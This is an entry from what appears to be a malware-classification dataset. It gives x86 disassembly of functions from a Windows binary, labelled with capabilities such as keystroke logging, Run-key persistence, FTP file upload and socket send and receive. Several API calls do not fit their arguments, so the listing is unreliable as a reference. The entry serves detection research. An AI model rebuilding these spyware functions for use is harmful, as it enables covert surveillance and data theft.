joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4710f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x88], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4711ba
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4711c8
call fcn.004080d8
push 5
push eax
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
test esi, esi
je 0x471199
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.00408110
test eax, eax
jle 0x47118b
lea edx, [ebp - 4]
lea eax, [ebp - 0x84]
call fcn.0040aaa8
lea edx, [ebp - 0x88]
mov eax, dword [ebp - 4]
call fcn.004097dc
mov eax, dword [ebp - 0x88]
mov edx, 0x4711e0
call fcn.00405974
jne 0x47118b
cmp bl, 1
jne 0x471183
push 1
push esi
call sub.KERNEL32.DLL_SetThreadLocale
jmp 0x47118b
push 0
push esi
call sub.KERNEL32.DLL_SetThreadLocale
push 2
push esi
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
test esi, esi
jne 0x471130
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4711c1
lea eax, [ebp - 0x88]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x4714b8
Capabilities:
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47159e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00405530
xor eax, eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x10], eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
test ebx, ebx
jbe 0x47157e
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x47151a
mov edi, 0x10
jmp 0x47151f
mov edi, 0x20
or edi, 4
push edi
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
push ebx
call sub.advapi32.dll_RegQueryInfoKeyA
mov edi, eax
test edi, edi
jbe 0x471578
cmp dword [ebp - 8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x471568
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x47155c
lea eax, [ebp - 0x10]
push eax
push 0
push edi
call sub.advapi32.dll_RegSetValueExA
jmp 0x471568
lea eax, [ebp - 0x2c]
push eax
push 1
push edi
call sub.advapi32.dll_RegEnumKeyExA
lea eax, [ebp - 0x2c]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA
push edi
call sub.advapi32.dll_RegDeleteValueA
push ebx
call sub.advapi32.dll_RegDeleteValueA
mov edx, esi
mov eax, dword [ebp - 0x28]
call fcn.00471380
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4715a5
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x4715b0
Capabilities:
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47162f
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
push 0xf003f
push 0
push 0
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
test ebx, ebx
jbe 0x471619
push 0x10000
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
push ebx
call sub.advapi32.dll_RegQueryInfoKeyA
mov esi, eax
test esi, esi
jbe 0x471613
push esi
call sub.advapi32.dll_RegFlushKey
test eax, eax
je 0x47160d
or edi, 0xffffffff
push esi
call sub.advapi32.dll_RegDeleteValueA
push ebx
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471636
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x471640
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x471649
mov eax, dword [ebp - 4]
add esp, 0xfffff7d8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x4828], edx
mov dword [ebp - 0x482c], edx
mov dword [ebp - 0x4820], edx
mov dword [ebp - 0x4824], edx
mov dword [ebp - 0x481c], edx
mov dword [ebp - 0x4818], edx
mov esi, eax
xor eax, eax
push ebp
push 0x471828
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00405530
push 5
push 0
push 0
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x47180a
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4800
lea eax, [ebp - 0x4814]
push eax
push 3
push 0x13f
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegOpenKeyA
mov edi, dword [ebp - 0x10]
dec edi
test edi, edi
jl 0x4717f1
inc edi
lea ebx, [ebp - 0x4814]
mov eax, dword [ebx]
test eax, eax
je 0x4716fd
cmp byte [eax], 0
jne 0x47170d
mov eax, esi
mov edx, 0x471840
call fcn.00405818
jmp 0x471733
push dword [esi]
lea eax, [ebp - 0x4818]
mov edx, dword [ebx]
call fcn.00405728
push dword [ebp - 0x4818]
push 0x471840
mov eax, esi
mov edx, 3
call fcn.004058e0
mov eax, dword [ebx + 4]
test eax, eax
je 0x47173d
cmp byte [eax], 0
jne 0x47174d
mov eax, esi
mov edx, 0x471840
call fcn.00405818
jmp 0x471774
push dword [esi]
lea eax, [ebp - 0x481c]
mov edx, dword [ebx + 4]
call fcn.00405728
push dword [ebp - 0x481c]
push 0x471840
mov eax, esi
mov edx, 3
call fcn.004058e0
push dword [esi]
lea eax, [ebp - 0x4824]
mov edx, dword [ebx]
call fcn.00405728
mov eax, dword [ebp - 0x4824]
lea edx, [ebp - 0x4820]
call fcn.004712a4
push dword [ebp - 0x4820]
push 0x471840
mov eax, esi
mov edx, 3
call fcn.004058e0
push dword [esi]
lea eax, [ebp - 0x4828]
push eax
lea eax, [ebp - 0x482c]
mov edx, dword [ebx]
call fcn.00405728
mov eax, dword [ebp - 0x482c]
xor ecx, ecx
xor edx, edx
call fcn.004714b8
push dword [ebp - 0x4828]
push 0x47184c
mov eax, esi
mov edx, 3
call fcn.004058e0
add ebx, 0x24
dec edi
jne 0x4716f4
cmp dword [ebp - 0xc], 0
jne 0x4716b9
cmp dword [ebp - 8], 0
jbe 0x47180a
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47182f
lea eax, [ebp - 0x482c]
mov edx, 6
call fcn.00405554
ret
Function at 0x471850
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x471976
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
test ebx, ebx
je 0x471953
xor eax, eax
push ebp
push 0x47193b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
push 0
push 2
push 0x110
push 0xf01ff
push esi
push esi
push ebx
call sub.advapi32.dll_RegEnumValueA
mov edi, eax
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405728
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.00405728
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x471990
call fcn.00405864
mov eax, dword [ebp - 0x18]
call fcn.004059dc
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.00405728
mov edx, dword [ebp - 0x14]
mov ecx, 0x4719bc
mov eax, 0x80000002
call fcn.004711e8
push edi
call sub.advapi32.dll_RegDeleteValueA
push ebx
call sub.advapi32.dll_RegDeleteValueA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47194c
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47197d
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00405554
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x473448
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473525
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x473538
call sub.wininet.dll_InternetOpenA
mov dword [0x49a18c], eax
cmp dword [0x49a18c], 0
je 0x4734ee
push 0
push 0x8000000
push 1
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp + 8]
call fcn.00409edc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a18c]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [0x49a188], eax
cmp dword [0x49a188], 0
je 0x4734ee
jmp 0x4734f9
xor ebx, ebx
mov byte [0x49422c], 0
jmp 0x473502
mov bl, 1
mov byte [0x49422c], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47352c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x473560
Capabilities:
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4735d8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49422c], 0
je 0x4735bd
xor ebx, ebx
push 0
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a188]
push eax
call sub.wininet.dll_FtpPutFileA
test eax, eax
je 0x4735bd
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4735df
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x475e2c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ebd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475e87
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
mov eax, dword [0x494af0]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ec4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475ecc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475f58
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475f29
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push 0
push ebx
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
push esi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475f5f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x47eaec
Capabilities:
Create process on windows
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x47eaf4
push ebx
push esi
mov esi, dword [0x494cbc]
xor eax, eax
push ebp
push 0x47ecf0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x494b58]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.0048bf2c
push dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
mov eax, 0x47ed08
call fcn.004735e8
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00409b7c
push dword [ebp - 0x20]
mov eax, dword [0x494b58]
mov edx, 3
call fcn.004058e0
mov eax, dword [0x494a74]
mov byte [eax], 0
mov eax, dword [0x494bac]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x28]
mov eax, 0x47ed14
call fcn.004735e8
mov eax, dword [ebp - 0x28]
mov edx, 0x47ed28
call fcn.00405974
jne 0x47eb9d
mov eax, dword [0x494c2c]
push eax
push 0
push 0
push 0x482028
push 0
push 0
call fcn.004079b0
mov eax, dword [0x4948f4]
mov dword [eax], 1
mov eax, dword [0x4948b0]
mov byte [eax], 1
movzx eax, byte [0x47ed2c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x494c14]
mov eax, dword [eax]
mov ecx, 0x47ed38
mov edx, 0x47ed44
call fcn.0040ef44
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x494c14]
call fcn.00405584
mov edx, dword [0x494c14]
mov edx, dword [edx]
mov eax, dword [0x494808]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea edx, [ebp - 0x30]
mov eax, dword [0x494910]
mov eax, dword [eax]
call fcn.0048bf54
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4949e4]
call fcn.00405584
mov eax, dword [0x4949e4]
mov eax, dword [eax]
mov edx, 0x47ed50
call fcn.00405974
jne 0x47ec6f
call fcn.0040bc98
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov edx, dword [0x494968]
mov edx, dword [edx]
lea eax, [ebp - 4]
call fcn.0040c8f8
call fcn.0040bcc4
fstp qword [ebp - 0x18]
wait
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov edx, dword [0x494ac8]
mov edx, dword [edx]
lea eax, [ebp - 8]
call fcn.0040c8f8
push dword [ebp - 4]
push 0x47ed60
push dword [ebp - 8]
mov eax, dword [0x4949e4]
mov edx, 3
call fcn.004058e0
mov cl, 1
mov dl, 1
mov eax, dword [0x4864c0]
call fcn.0041fa34
mov edx, dword [0x494d18]
mov dword [edx], eax
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fc40
mov eax, dword [0x494d18]
mov eax, dword [eax]
call fcn.0041fef0
jmp 0x47ecb8
push esi
call sub.KERNEL32.DLL_VerLanguageNameA
push esi
call fcn.00408030
push 0
push 0
push 0
push esi
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
jne 0x47ecac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ecf7
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x4824b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482542
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4824f5
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x482513
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x482505
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482549
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x484fc0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4850ed
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4850b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x4215c4]
call fcn.00421708
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x485108
call fcn.00405974
jne 0x48503a
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x485114
call fcn.00405974
jne 0x48504e
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x485114
call fcn.00405974
jne 0x48506a
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x485108
call fcn.00405974
jne 0x485086
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.004217a0
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.004218e4
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00422008
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4850ca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4850f4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x485150
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48520a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4851de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x485218
push 0x80000001
call fcn.00407900
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4851aa
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.00407920
mov eax, dword [ebp - 0xc]
push eax
call fcn.004078c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4851ef
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485211
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x485f40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x486072
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x49c3a0], eax
cmp dword [0x49c3a0], 0xffffffff
je 0x486057
mov word [ebp - 0x10], 2
mov eax, dword [0x4949d4]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0xc], edi
inc edi
jne 0x485fcc
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x486057
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_connect
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
lea edx, [ebp - 0x18]
mov eax, dword [esi + 0x50]
call fcn.00409d70
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x48608c
call fcn.00405864
mov edx, dword [ebp - 0x14]
mov eax, dword [0x49c3a0]
call fcn.00475ecc
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486079
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00405554
ret

Function at 0x486374
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x48642a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x486444
call fcn.004055c8
lea ecx, [ebp - 0x10]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x4863cd
sub eax, 4
mov eax, dword [eax]
mov esi, eax
mov edi, 1
mov byte [ebp - 9], 1
test esi, esi
jle 0x48640c
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
lea eax, [eax + edi - 1]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x40]
push eax
call sub.wsock32.dll_send
mov ebx, eax
test ebx, ebx
jg 0x486404
mov byte [ebp - 9], 0
jmp 0x48640c
sub esi, ebx
add edi, ebx
test esi, esi
jg 0x4863dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486431
lea eax, [ebp - 0x10]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x48a114
Capabilities:
Copy file

Disassembly:
add esp, 0xfffffff8
mov dword [esp], 8
push esp
call sub.KERNEL32.DLL_CopyFileA
call fcn.00407b50
sub eax, dword [esp + 4]
mov ecx, 0x3e8
xor edx, edx
div ecx
pop ecx
pop edx
ret

Function at 0x48adcc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x48ae8c
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
push eax
push 0
call sub.shell32.dll_ShellExecuteExA
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_ShellExecuteA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.0040aaa8
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48ae28
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x114]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 0x114]
mov edx, 0x48aea4
call fcn.00405974
je 0x48ae61
mov eax, esi
mov ecx, 0x48aea4
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x48ae6b
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48ae93
lea eax, [ebp - 0x114]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x48cfb4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x214], edx
mov edi, eax
xor eax, eax
push ebp
push 0x48d07b
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0x105
lea eax, [ebp - 0x20a]
push eax
push 0x105
lea eax, [ebp - 0x105]
push eax
push esi
call sub.user32.dll_VkKeyScanA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x48d059
push dword [edi]
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.004057a0
push dword [ebp - 0x210]
push 0x48d094
lea eax, [ebp - 0x214]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.004057a0
push dword [ebp - 0x214]
push 0x48d0a0
mov eax, edi
mov edx, 5
call fcn.004058e0
inc esi
test bl, bl
jne 0x48cfe0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48d082
lea eax, [ebp - 0x214]
mov edx, 2
call fcn.00405554
ret